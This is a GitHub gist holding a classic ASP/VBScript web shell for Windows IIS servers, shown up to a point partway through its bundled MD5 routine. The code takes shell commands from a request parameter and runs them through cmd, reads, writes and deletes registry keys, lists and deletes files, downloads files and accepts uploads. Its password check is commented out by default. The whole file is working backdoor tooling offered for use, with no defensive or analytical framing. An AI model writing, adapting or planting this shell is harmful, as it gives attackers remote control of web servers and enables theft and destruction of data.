Created
February 7, 2017 16:53
-
-
Save heiswayi/370c942041b44b1c2e7e2a0687149c6d to your computer and use it in GitHub Desktop.
Shell script for ASP.NET
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ Language = VBScript | |
CodePage = 1252 %> | |
<% | |
Option Explicit | |
'/* --- Options --- */ | |
Server.ScriptTimeout = 360 ' Seconds | |
Session.Timeout = 5 ' Minutes | |
Response.Expires = -1 ' Minutes (expires immediately) | |
Private sMD5Hash ' MD5("HitU") | |
''sMD5Hash = "F74648612C416B4CE4B9B36C10B10A11" ' Leave it empty to turn off password protection | |
'Session.Abandon ' Terminates last session, prevents hangups | |
'On Error Resume Next ' Proceed to the next line on error | |
' Global variables: | |
Private WShell, WNetwork, WEnv, FSO, BinStream | |
Private sURL, sCmd, bBgMode, bSI, sKey, sKeyFunc, sKeyValue, sKeyType | |
Private sDir, sDel, sDL, sPasswd | |
' Create COM objects: | |
Set WShell = Server.CreateObject("WSCRIPT.SHELL") | |
Set WNetwork = Server.CreateObject("WSCRIPT.NETWORK") | |
Set WEnv = WShell.Environment("Process") | |
Set FSO = Server.CreateObject("Scripting.FileSystemObject") | |
' Process script args: | |
sURL = Request.ServerVariables("URL") ' Script relative addr. | |
sCmd = Request("CMD") ' Shell: command | |
bBgMode = Request("CMD_M") ' Shell: mode | |
bSI = Request("SI") ' Server info | |
sKey = Request("RKEY") ' Reg editor: key | |
sKeyFunc = Request("RKEY_F") ' Reg editor: function | |
sKeyValue = Request("RKEY_V") ' Reg editor: value | |
sKeyType = Request("RKEY_T") ' Reg editor: type | |
sDir = Request("DIR") ' Directory listing: path | |
sDel = Request("DEL") ' Directory listing: delete item | |
sDL = Request("DL") ' Download: file path | |
sPasswd = Request("PWD") ' Password: clear text | |
' Set default mode: | |
If ( IsEmpty(sCmd) And _ | |
IsEmpty(bSI) And _ | |
IsEmpty(sKey) And _ | |
IsEmpty(sDir) ) Then | |
sDir = "" | |
End If | |
'/* --- Routines --- */ | |
' Executes command and passes stdout to browser. | |
' Can start the process in background mode. | |
Private Sub ExecuteCmd(ByVal sCommand, ByVal bBg) | |
Dim Pipe, RetCode | |
On Error Resume Next | |
If ( bBg <> "" ) Then | |
RetCode = WShell.Run("%comspec% /c " & sCommand & " 2>&1", 0, False) | |
Response.Write("Returned: " & RetCode) | |
Else | |
Set Pipe = WShell.Exec("%comspec% /c " & sCommand & " 2>&1") | |
While( Not Pipe.StdOut.AtEndOfStream ) | |
Response.Write(Server.HTMLEncode(Pipe.StdOut.ReadAll())) | |
WEnd | |
Response.Write("Returned: " & Pipe.ExitCode) | |
End If | |
' Error handling: | |
If ( Err.Number <> 0 ) Then | |
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]") | |
Err.Clear | |
End If | |
Set Pipe = nothing | |
Set RetCode = nothing | |
End Sub | |
' Returns first word from the string. Used in shell page title. | |
Private Function GetFirstWord(ByVal sStr) | |
Dim Word | |
If ( Len(sStr) <> 0 ) Then | |
Word = Split(sStr) | |
GetFirstWord = Word(0) | |
Else | |
GetFirstWord = "[ Shell ]" | |
End if | |
Set Word = nothing | |
End Function | |
' Changes empty string to nbsp. Useful while building HTML tables. | |
Private Function EmptyToNbsp(ByVal sStr) | |
If ( sStr = "" ) Then | |
sStr = " " | |
End If | |
EmptyToNbsp = sStr | |
End Function | |
' Converts unicode string to byte string. | |
Private Function CStrB(ByRef sUnicodeStr) | |
Dim nPos | |
For nPos = 1 To Len(sUnicodeStr) | |
CStrB = CStrB & ChrB( AscB( Mid(sUnicodeStr, nPos, 1))) | |
Next | |
End Function | |
' Converts byte string to unicode string. | |
Private Function CStrU(ByRef sByteStr) | |
Dim nPos | |
For nPos = 1 To LenB(sByteStr) | |
CStrU = CStrU & Chr( AscB( MidB(sByteStr, nPos, 1))) | |
Next | |
End Function | |
' Returns string, containing HTML table with drives info. | |
Private Function ShowDrivesInfo() | |
On Error Resume Next | |
Dim Drive, Share, Str | |
' Table header: | |
Str = "<table border='1' cellspacing='0' cellpadding='2' width='600'>" & _ | |
"<tr align='center'><th colspan='9'>Drives Info</th></tr>" & _ | |
"<tr align='center'><th>Drive</th><th>Type</th><th>Label</th>" & _ | |
"<th>Filesystem</th><th>Size[Mb]</th><th>Avail[Mb]</th><th>Free[Mb]</th>" & _ | |
"<th>Shared</th><th>Ready</th></tr>" | |
' Enumerate drives: | |
For Each Drive in FSO.Drives | |
Str = Str & "<tr align='center' class='drv'><td>" & Drive.DriveLetter & "</td>" | |
Select Case Drive.DriveType | |
Case 0: Str = Str & "<td>Unknown</td>" | |
Case 1: Str = Str & "<td>Removable</td>" | |
Case 2: Str = Str & "<td>Fixed</td>" | |
Case 3: Str = Str & "<td>Network</td>" | |
Case 4: Str = Str & "<td>CD-ROM</td>" | |
Case 5: Str = Str & "<td>RAM Disk</td>" | |
End Select | |
' Prevents from 500 - "drive not ready" error: | |
If Drive.IsReady Then | |
Str = Str & "<td>" & EmptyToNbsp(Drive.VolumeName) & "</td>" | |
Str = Str & "<td>" & Drive.FileSystem & "</td>" | |
Str = Str & "<td>" & FormatNumber(Drive.TotalSize / 1048576, 0) & "</td>" | |
Str = Str & "<td>" & FormatNumber(Drive.AvailableSpace / 1048576, 0) & "</td>" | |
Str = Str & "<td>" & FormatNumber(Drive.FreeSpace / 1048576, 0) & "</td>" | |
Else | |
Str = Str & "<td>-</td><td>-</td><td>-</td><td>-</td><td>-</td>" | |
End If | |
If (Drive.ShareName = "") Then | |
Str = Str & "<td>-</td>" | |
Else | |
Str = Str & "<td>" & Drive.ShareName & "</td>" | |
End If | |
Str = Str & "<td>" & Drive.IsReady & "</td></tr>" | |
Next | |
' Error handling: | |
If ( Err.Number <> 0 ) Then | |
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" ) | |
Err.Clear | |
End If | |
ShowDrivesInfo = Str & "</table>" | |
Set Drive = nothing | |
Set Share = nothing | |
Set Str = nothing | |
End Function | |
' Provides interface for registry read/write/delete functions. | |
Private Function RegEditor(ByVal sKey, ByVal sKeyValue, ByVal sKeyType, ByVal sKeyFunc) | |
On Error Resume Next | |
Select Case sKeyFunc | |
Case "Read" Response.Write(WShell.RegRead(sKey)) | |
Case "Write" | |
If ( sKeyType = "REG_SZ" or _ | |
sKeyType = "REG_DWORD" or _ | |
sKeyType = "REG_BINARY" or _ | |
sKeyType = "REG_EXPAND_SZ" ) Then | |
If ( Not IsEmpty(sKeyValue) ) Then | |
Response.Write(WShell.RegWrite(sKey, sKeyValue, sKeyType)) | |
Else | |
Response.Write("Key value is not defined.") | |
End If | |
Else | |
Response.Write("Improper key type.") | |
End If | |
Case "Delete" Response.Write(WShell.RegDelete(sKey)) | |
Case Else Response.Write("Improper function value.") | |
End Select | |
' Error handling: | |
If ( Err.Number <> 0 ) Then | |
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" ) | |
Err.Clear | |
Else | |
Response.Write("Successfully performed the operation.") | |
End If | |
End Function | |
' Returns directory path without trailing slash. | |
Private Function GetCorrectPath(ByVal sDir) | |
Dim sDirPath | |
' Starting folder: | |
If ( sDir = "" ) Then | |
sDir = Server.MapPath(".") | |
End If | |
' Get correct folder path: | |
If ( FSO.FolderExists(sDir) ) Then | |
sDirPath = FSO.GetFolder(sDir).Path | |
Else | |
sDirPath = sDir | |
End If | |
GetCorrectPath = sDirPath | |
Set sDirPath = nothing | |
End Function | |
' Returns string with HTML table. | |
Private Function ShowDirectoryList(ByVal sDir) | |
On Error Resume Next | |
Dim sDirPath, Str, Folder, Item, Attr | |
sDirPath = GetCorrectPath(sDir) | |
Set Folder = FSO.GetFolder(sDirPath) | |
' Path input field: | |
Str = "<center><form name='path' action='" & sURL & "' method='POST'>" & _ | |
"<input name='DIR' type='text' style='width:80%;' value='" & sDirPath & "'>" & _ | |
" <input type='submit' class='button' value='Go'></form><br>" | |
' Check the path: | |
If ( Not FSO.FolderExists(sDirPath) ) Then | |
ShowDirectoryList = Str & "Folder <b>" & sDirPath & "</b> doesn't exist.<br>" | |
Exit Function | |
End If | |
' Table header: | |
Str = Str & "Contents of <b>" & sDirPath & "</b><br><br>" & _ | |
"<form name='items' action='" & sURL & "' method='POST'>" & _ | |
"<input name='DIR' type='hidden' value='" & sDirPath & "'>" & _ | |
"<input name='DEL' type='hidden' value=''>" & _ | |
"<table border='1' cellpadding='0' cellspacing='0' width='90%'>" & _ | |
"<tr><th> </th><th>Name</th><th>Size[b]</th>" & _ | |
"<th>Date Created</th><th>Attributes</th><th>Type</th></tr>" | |
' Parent directory: | |
If ( Not Folder.IsRootFolder ) Then | |
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _ | |
" onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _ | |
"<td> </td>" & _ | |
"<td class='dir' onclick='go("".."");'><..></td>" & _ | |
"<td> </td>" & _ | |
"<td> </td>" & _ | |
"<td> </td>" & _ | |
"<td>Parent Folder</td></tr>" & vbCRLF | |
End If | |
' Directories: | |
For Each Item In Folder.SubFolders | |
If ( Item.Attributes And 1 ) Then | |
Attr = "R(" & Item.Attributes & ")" | |
Else | |
Attr = "RW(" & Item.Attributes & ")" | |
End If | |
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _ | |
" onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _ | |
"<td><input type='button' class='button' style='width:28;'" & _ | |
" value='Del' onclick='del(""" & Item.Name & "\\"");'></td>" & _ | |
"<td class='dir' onclick='go(""" & Item.Name & """);'>" & _ | |
"<" & Item.Name & "></td>" & _ | |
"<td>" & FormatNumber(Item.Size, 0) & "</td>" & _ | |
"<td>" & Item.DateCreated & "</td>" & _ | |
"<td>" & Attr & "</td>" & _ | |
"<td>" & Item.Type & "</td></tr>" & vbCRLF | |
Next | |
' Files: | |
For Each Item In Folder.Files | |
' Add cacls? | |
If ( Item.Attributes And 1 ) Then | |
Attr = "R(" & Item.Attributes & ")" | |
Else | |
Attr = "RW(" & Item.Attributes & ")" | |
End If | |
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _ | |
" onMouseOut='this.style.backgroundColor=""""' class='file'>" & _ | |
"<td><input type='button' class='button' style='width:28;'" & _ | |
" value='Del' onclick='del(""" & Item.Name & """);'></td>" & _ | |
"<td class='file' onclick='dl(""" & Item.Name & """);'>" & _ | |
Item.Name & "</td>" & _ | |
"<td>" & FormatNumber(Item.Size, 0) & "</td>" & _ | |
"<td>" & Item.DateCreated & "</td>" & _ | |
"<td>" & Attr & "</td>" & _ | |
"<td>" & Item.Type & "</td></tr>" & vbCRLF | |
Next | |
Str = Str & "</table></form><br><br>" | |
' Download form: | |
Str = Str & "<form name='download' action='" & sURL & "' method='POST'>" & _ | |
"<input name='DL' type='hidden' value='" & sDirPath & "'></form>" & _ | |
"<form name='upload' enctype='multipart/form-data' action='" & sURL & "' method='POST'>" & _ | |
"<input name='UL' type='hidden' value='" & sDirPath & "'>" & _ | |
"<input name='FILE' type='file' style='width:80%;'> " & _ | |
"<input type='submit' class='button' value='Upload'></form><br><br></center>" | |
' Error handling: | |
If ( Err.Number <> 0 ) Then | |
Str = Str & "<center>Error: '" & Err.Description & "' [" & Err.Number & "]</center><br><br>" | |
Err.Clear | |
End If | |
ShowDirectoryList = Str | |
Set sDirPath = nothing | |
Set Str = nothing | |
Set Folder = nothing | |
Set Item = nothing | |
Set Attr = nothing | |
End Function | |
' Upload FSO buffering. | |
Private Function BufferContent(ByRef Data) | |
Dim sContent(64), i | |
ClearString(sContent) | |
For i = 1 To LenB(Data) | |
AddString sContent, Chr(AscB (MidB (Data, i, 1))) | |
Next | |
BufferContent = ReadString(sContent) | |
End Function | |
Private Sub ClearString(ByRef sPart) | |
Dim nIdx | |
For nIdx = 0 to 64 | |
sPart(nIdx) = "" | |
Next | |
End Sub | |
Private Sub AddString(ByRef sPart, ByRef Str) | |
Dim Tmp, nIdx | |
sPart(0) = sPart(0) & Str | |
If ( Len(sPart(0)) > 64 ) Then | |
nIdx = 0 | |
Tmp = "" | |
Do | |
Tmp = sPart(nIdx) & Tmp | |
sPart(nIdx) = "" | |
nIdx = nIdx + 1 | |
Loop Until sPart(nIdx) = "" | |
sPart(nIdx) = Tmp | |
End If | |
End Sub | |
Private Function ReadString(ByRef sPart) | |
Dim Tmp, nIdx | |
Tmp = "" | |
For nIdx = 0 to 64 | |
If ( sPart(nIdx) <> "" ) Then | |
Tmp = sPart(nIdx) & Tmp | |
End If | |
Next | |
ReadString = Tmp | |
End Function | |
' Saves uploaded file. | |
Private Sub UploadFile() | |
Dim BinData, nObjStartPos, nObjEndPos, nStartPos, nEndPos, sBoundary | |
Dim sFileName, sSavePath, nFileLen, BinFile, PostBinStream | |
On Error Resume Next | |
Err.Clear | |
BinData = Request.BinaryRead(Request.TotalBytes) | |
' Get the boundary: | |
nStartPos = 1 | |
nEndPos = InStrB(nStartPos, BinData, CStrB(vbCR)) | |
If ( nEndPos > nStartPos ) Then | |
sBoundary = MidB(BinData, nStartPos, nEndPos - nStartPos) | |
Else | |
Response.Write("Error: Boundary is not defined.") | |
StopScript | |
End If | |
' Get the upload directory("UL"): | |
nObjStartPos = InStrB(1, BinData, sBoundary) | |
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary) | |
nStartPos = InStrB(nObjStartPos, BinData, CStrB("name=""UL""")) | |
If ( nStartPos > nObjStartPos And nStartPos < nObjEndPos ) Then | |
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR)) | |
' nStartPos + 13 -> name="UL"+ 0x0D + 0x0A + 0x0D + 0x0A | |
sDir = CStrU(MidB(BinData, nStartPos + 13, nEndPos - nStartPos - 13)) | |
Else | |
Response.Write("Error: Upload directory(""UL"") is not defined.") | |
StopScript | |
End If | |
' Get file's binary data: | |
nObjStartPos = nObjEndPos | |
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary & CStrB("--")) | |
nStartPos = InStrB(nObjStartPos + 1, BinData, CStrB("name=""FILE""")) | |
If ( nStartPos > 0 And nObjEndPos > nObjStartPos ) Then | |
' Get the filename: | |
nStartPos = InStrB(nStartPos, BinData, CStrB("filename=""")) | |
nEndPos = InStrB(nStartPos + 10, BinData, CStrB("""")) | |
If ( nStartPos + 10 = nEndPos Or nStartPos = 0 ) Then | |
Response.Write("Uploaded: 0 bytes [Empty filename] ") | |
Exit Sub | |
End If | |
sFileName = CStrU(MidB(BinData, nStartPos + 10, nEndPos - nStartPos - 10)) | |
' Change all '/' to '\': | |
sFileName = Replace(sFileName, "/", "\") | |
sFileName = Right(sFileName, Len(sFileName) - InStrRev(sFileName, "\")) | |
sFileName = Trim(sFileName) | |
' Skip Content-Type: | |
nStartPos = InStrB(nEndPos, BinData, CStrB("Content-Type:")) | |
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR)) | |
If ( nStartPos = 0 or nEndPos = 0 ) Then | |
Response.Write("Error: Content-Type is not defined.") | |
StopScript | |
End If | |
' Skip CRLFs and set pointers to file's binary data: | |
nStartPos = nEndPos + 3 | |
nEndPos = nObjEndPos - 3 | |
nFileLen = nEndPos - nStartPos | |
BinFile = MidB(BinData, nStartPos + 1, nFileLen) | |
sSavePath = FSO.BuildPath(sDir, sFileName) | |
' Save binary data into the destination file: | |
SetLocale(1033) | |
Err.Clear | |
Set PostBinStream = Server.CreateObject("ADODB.Stream") | |
Set BinStream = Server.CreateObject("ADODB.Stream") | |
If ( Err.Number = 0 ) Then | |
PostBinStream.Type = 1 ' adTypeBinary | |
PostBinStream.Open() | |
PostBinStream.Write(BinData) | |
PostBinStream.Position = nStartPos | |
BinStream.Type = 1 | |
BinStream.Open() | |
PostBinStream.CopyTo BinStream, nFileLen | |
' Overwrites file: | |
BinStream.SaveToFile sSavePath, 2 | |
BinStream.Close() | |
PostBinStream.Close() | |
Else | |
Err.Clear | |
' Use FSO (only text data), if ADO.Stream is not there: | |
Set BinStream = FSO.CreateTextFile(sSavePath, True) | |
BinStream.Write(BufferContent(BinFile)) | |
BinStream.Close() | |
End If | |
Response.Write("Uploaded: " & FormatNumber(nFileLen, 0) & " bytes [""" & sSavePath & """] ") | |
Else | |
Response.Write("Error: File's binary data parse error.") | |
StopScript | |
End If | |
' Error handling: | |
If ( Err.Number <> 0 ) Then | |
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]") | |
Err.Clear | |
End If | |
' Free mallocs ;) | |
Set BinData = nothing : Set nObjStartPos = nothing | |
Set nObjEndPos = nothing : Set nStartPos = nothing | |
Set nEndPos = nothing : Set sBoundary = nothing | |
Set sFileName = nothing : Set sSavePath = nothing | |
Set nFileLen = nothing : Set BinFile = nothing | |
Set PostBinStream = nothing | |
End Sub | |
' Generates script navigation HTML string. | |
Private Function InsertNavBar() | |
Dim Str | |
Str = "<center><form name='nav' action='" & sURL & "' method='POST'>" & _ | |
"<input name='change' type='hidden' value=''></form>< " & _ | |
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _ | |
" onMouseOut='this.style.backgroundColor=""""'" & _ | |
" onclick='document.nav.change.name=""DIR"";document.nav.submit()'>" & _ | |
"Directory Listing</span> | " & _ | |
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _ | |
" onMouseOut='this.style.backgroundColor=""""'" & _ | |
" onclick='document.nav.change.name=""CMD"";document.nav.submit()'>" & _ | |
"Shell</span> | " & _ | |
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _ | |
" onMouseOut='this.style.backgroundColor=""""'" & _ | |
" onclick='document.nav.change.name=""RKEY"";document.nav.submit()'>" & _ | |
"Registry Editor</span> | " & _ | |
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _ | |
" onMouseOut='this.style.backgroundColor=""""'" & _ | |
" onclick='document.nav.change.name=""SI"";document.nav.submit()'>" & _ | |
"Server Info</span> ></center><br><br>" | |
InsertNavBar = Str | |
Set Str = nothing | |
End Function | |
' Generates auth. page and checks for proper password. | |
Private Function CheckAuth(ByVal sPasswd) | |
Dim Str | |
If ( sMD5Hash = "" ) Then | |
Exit Function | |
End If | |
' Save the hash in a session variable: | |
If ( Not IsEmpty(sPasswd) ) Then | |
Session("Auth") = MD5(sPasswd) | |
End If | |
' Check the password: | |
If ( IsEmpty(Session("Auth")) ) Then | |
Str = "<html><head><title>Authentication</title></head><body><center>" & _ | |
"Enter the password: <form name='download' action='" & sURL & "' method='POST'>" & _ | |
"<input name='PWD' type='text' style='width:80%;' value=''> " & _ | |
"<input type='submit' value='Submit'></form></body></html>" | |
Response.Write(Str) | |
Session.Abandon | |
StopScript | |
Else | |
If ( UCase(Session("Auth")) <> UCase(sMD5Hash) ) Then | |
Response.Write("Bad password or session has timed out.") | |
Session.Abandon | |
StopScript | |
End If | |
End If | |
End Function | |
' MD5 Routines. | |
' Ripped from frez.co.uk | |
Private Const BITS_TO_A_BYTE = 8 | |
Private Const BYTES_TO_A_WORD = 4 | |
Private Const BITS_TO_A_WORD = 32 | |
Private m_lOnBits(30) | |
Private m_l2Power(30) | |
m_lOnBits(0) = CLng(1) | |
m_lOnBits(1) = CLng(3) | |
m_lOnBits(2) = CLng(7) | |
m_lOnBits(3) = CLng(15) | |
m_lOnBits(4) = CLng(31) | |
m_lOnBits(5) = CLng(63) | |
m_lOnBits(6) = CLng(127) | |
m_lOnBits(7) = CLng(255) | |
m_lOnBits(8) = CLng(511) | |
m_lOnBits(9) = CLng(1023) | |
m_lOnBits(10) = CLng(2047) | |
m_lOnBits(11) = CLng(4095) | |
m_lOnBits(12) = CLng(8191) | |
m_lOnBits(13) = CLng(16383) | |
m_lOnBits(14) = CLng(32767) | |
m_lOnBits(15) = CLng(65535) | |
m_lOnBits(16) = CLng(131071) | |
m_lOnBits(17) = CLng(262143) | |
m_lOnBits(18) = CLng(524287) | |
m_lOnBits(19) = CLng(1048575) | |
m_lOnBits(20) = CLng(2097151) | |
m_lOnBits(21) = CLng(4194303) | |
m_lOnBits(22) = CLng(8388607) | |
m_lOnBits(23) = CLng(16777215) | |
m_lOnBits(24) = CLng(33554431) | |
m_lOnBits(25) = CLng(67108863) | |
m_lOnBits(26) = CLng(134217727) | |
m_lOnBits(27) = CLng(268435455) | |
m_lOnBits(28) = CLng(536870911) | |
m_lOnBits(29) = CLng(1073741823) | |
m_lOnBits(30) = CLng(2147483647) | |
m_l2Power(0) = CLng(1) | |
m_l2Power(1) = CLng(2) | |
m_l2Power(2) = CLng(4) | |
m_l2Power(3) = CLng(8) | |
m_l2Power(4) = CLng(16) | |
m_l2Power(5) = CLng(32) | |
m_l2Power(6) = CLng(64) | |
m_l2Power(7) = CLng(128) | |
m_l2Power(8) = CLng(256) | |
m_l2Power(9) = CLng(512) | |
m_l2Power(10) = CLng(1024) | |
m_l2Power(11) = CLng(2048) | |
m_l2Power(12) = CLng(4096) | |
m_l2Power(13) = CLng(8192) | |
m_l2Power(14) = CLng(16384) | |
m_l2Power(15) = CLng(32768) | |
m_l2Power(16) = CLng(65536) | |
m_l2Power(17) = CLng(131072) | |
m_l2Power(18) = CLng(262144) | |
m_l2Power(19) = CLng(524288) | |
m_l2Power(20) = CLng(1048576) | |
m_l2Power(21) = CLng(2097152) | |
m_l2Power(22) = CLng(4194304) | |
m_l2Power(23) = CLng(8388608) | |
m_l2Power(24) = CLng(16777216) | |
m_l2Power(25) = CLng(33554432) | |
m_l2Power(26) = CLng(67108864) | |
m_l2Power(27) = CLng(134217728) | |
m_l2Power(28) = CLng(268435456) | |
m_l2Power(29) = CLng(536870912) | |
m_l2Power(30) = CLng(1073741824) | |
Private Function LShift(ByVal lValue, ByVal iShiftBits) | |
If ( iShiftBits = 0 ) Then | |
LShift = lValue | |
Exit Function | |
ElseIf ( iShiftBits = 31 ) Then | |
If lValue And 1 Then | |
LShift = &H80000000 | |
Else | |
LShift = 0 | |
End If | |
Exit Function | |
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then | |
Err.Raise(6) | |
End If | |
If ( lValue And m_l2Power(31 - iShiftBits) ) Then | |
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000 | |
Else | |
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits)) | |
End If | |
End Function | |
Private Function RShift(lValue, iShiftBits) | |
If ( iShiftBits = 0 ) Then | |
RShift = lValue | |
Exit Function | |
ElseIf ( iShiftBits = 31 ) Then | |
If ( lValue And &H80000000 ) Then | |
RShift = 1 | |
Else | |
RShift = 0 | |
End If | |
Exit Function | |
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then | |
Err.Raise(6) | |
End If | |
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits) | |
If ( lValue And &H80000000 ) Then | |
RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1))) | |
End If | |
End Function | |
Private Function RotateLeft(lValue, iShiftBits) | |
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits)) | |
End Function | |
Private Function AddUnsigned(lX, lY) | |
Dim lX4, lY4, lX8, lY8, lResult | |
lX8 = lX And &H80000000 | |
lY8 = lY And &H80000000 | |
lX4 = lX And &H40000000 | |
lY4 = lY And &H40000000 | |
lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF) | |
If ( lX4 And lY4 ) Then | |
lResult = lResult Xor &H80000000 Xor lX8 Xor lY8 | |
ElseIf ( lX4 Or lY4 ) Then | |
If ( lResult And &H40000000 ) Then | |
lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8 | |
Else | |
lResult = lResult Xor &H40000000 Xor lX8 Xor lY8 | |
End If | |
Else | |
lResult = lResult Xor lX8 Xor lY8 | |
End If | |
AddUnsigned = lResult | |
End Function | |
Private Function F(x, y, z) | |
F = (x And y) Or ((Not x) And z) | |
End Function | |
Private Function G(x, y, z) | |
G = (x And z) Or (y And (Not z)) | |
End Function | |
Private Function H(x, y, z) | |
H = (x Xor y Xor z) | |
End Function | |
Private Function I(x, y, z) | |
I = (y Xor (x Or (Not z))) | |
End Function | |
Private Sub FF(a, b, c, d, x, s, ac) | |
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac)) | |
a = RotateLeft(a, s) | |
a = AddUnsigned(a, b) | |
End Sub | |
Private Sub GG(a, b, c, d, x, s, ac) | |
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac)) | |
a = RotateLeft(a, s) | |
a = AddUnsigned(a, b) | |
End Sub | |
Private Sub HH(a, b, c, d, x, s, ac) | |
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac)) | |
a = RotateLeft(a, s) | |
a = AddUnsigned(a, b) | |
End Sub | |
Private Sub II(a, b, c, d, x, s, ac) | |
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac)) | |
a = RotateLeft(a, s) | |
a = AddUnsigned(a, b) | |
End Sub | |
Private Function ConvertToWordArray(sMessage) | |
Dim lMessageLength, lNumberOfWords, lWordArray(), lBytePosition, lByteCount, lWordCount | |
Const MODULUS_BITS = 512 | |
Const CONGRUENT_BITS = 448 | |
lMessageLength = Len(sMessage) | |
lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD) | |
ReDim lWordArray(lNumberOfWords - 1) | |
lBytePosition = 0 | |
lByteCount = 0 | |
Do Until lByteCount >= lMessageLength | |
lWordCount = lByteCount \ BYTES_TO_A_WORD | |
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE | |
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition) | |
lByteCount = lByteCount + 1 | |
Loop | |
lWordCount = lByteCount \ BYTES_TO_A_WORD | |
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE | |
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition) | |
lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3) | |
lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29) | |
ConvertToWordArray = lWordArray | |
End Function | |
Private Function WordToHex(lValue) | |
Dim lByte, lCount | |
For lCount = 0 To 3 | |
lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1) | |
WordToHex = WordToHex & Right("0" & Hex(lByte), 2) | |
Next | |
End Function | |
Private Function MD5(sMessage) | |
Dim x, k, AA, BB, CC, DD, a, b, c, d | |
Const S11 = 7 | |
Const S12 = 12 | |
Const S13 = 17 | |
Const S14 = 22 | |
Const S21 = 5 | |
Const S22 = 9 | |
Const S23 = 14 | |
Const S24 = 20 | |
Const S31 = 4 | |
Const S32 = 11 | |
Const S33 = 16 | |
Const S34 = 23 | |
Const S41 = 6 | |
Const S42 = 10 | |
Const S43 = 15 | |
Const S44 = 21 | |
x = ConvertToWordArray(sMessage) | |
a = &H67452301 | |
b = &HEFCDAB89 | |
c = &H98BADCFE | |
d = &H10325476 | |
For k = 0 To UBound(x) Step 16 | |
AA = a | |
BB = b | |
CC = c | |
DD = d | |
FF a, b, c, d, x(k + 0), S11, &HD76AA478 | |
FF d, a, b, c, x(k + 1), S12, &HE8C7B756 | |
FF c, d, a, b, x(k + 2), S13, &H242070DB | |
FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE | |
FF a, b, c, d, x(k + 4), S11, &HF57C0FAF | |
FF d, a, b, c, x(k + 5), S12, &H4787C62A | |
FF c, d, a, b, x(k + 6), S13, &HA8304613 | |
FF b, c, d, a, x(k + 7), S14, &HFD469501 | |
FF a, b, c, d, x(k + 8), S11, &H698098D8 | |
FF d, a, b, c, x(k + 9), S12, &H8B44F7AF | |
FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1 | |
FF b, c, d, a, x(k + 11), S14, &H895CD7BE | |
FF a, b, c, d, x(k + 12), S11, &H6B901122 | |
FF d, a, b, c, x(k + 13), S12, &HFD987193 | |
FF c, d, a, b, x(k + 14), S13, &HA679438E | |
FF b, c, d, a, x(k + 15), S14, &H49B40821 | |
GG a, b, c, d, x(k + 1), S21, &HF61E2562 | |
GG d, a, b, c, x(k + 6), S22, &HC040B340 | |
GG c, d, a, b, x(k + 11), S23, &H265E5A51 | |
GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA | |
GG a, b, c, d, x(k + 5), S21, &HD62F105D | |
GG d, a, b, c, x(k + 10), S22, &H2441453 | |
GG c, d, a, b, x(k + 15), S23, &HD8A1E681 | |
GG b, c, d, a, x(k + 4), S24, &HE7D3FBC8 | |
GG a, b, c, d, x(k + 9), S21, &H21E1CDE6 | |
GG d, a, b, c, x(k + 14), S22, &HC33707D6 | |
GG c, d, a, b, x(k + 3), S23, &HF4D50D87 | |
GG b, c, d, a, x(k + 8), S24, &H455A14ED | |
GG a, b, c, d, x(k + 13), S21, &HA9E3E905 | |
GG d, a, b, c, x(k + 2), S22, &HFCEFA3F8 | |
GG c, d, a, b, x(k + 7), S23, &H676F02D9 | |
GG b, c, d, a, x(k + 12), S24, &H8D2A4C8A | |
HH a, b, c, d, x(k + 5), S31, &HFFFA3942 | |
HH d, a, b, c, x(k + 8), S32, &H8771F681 | |
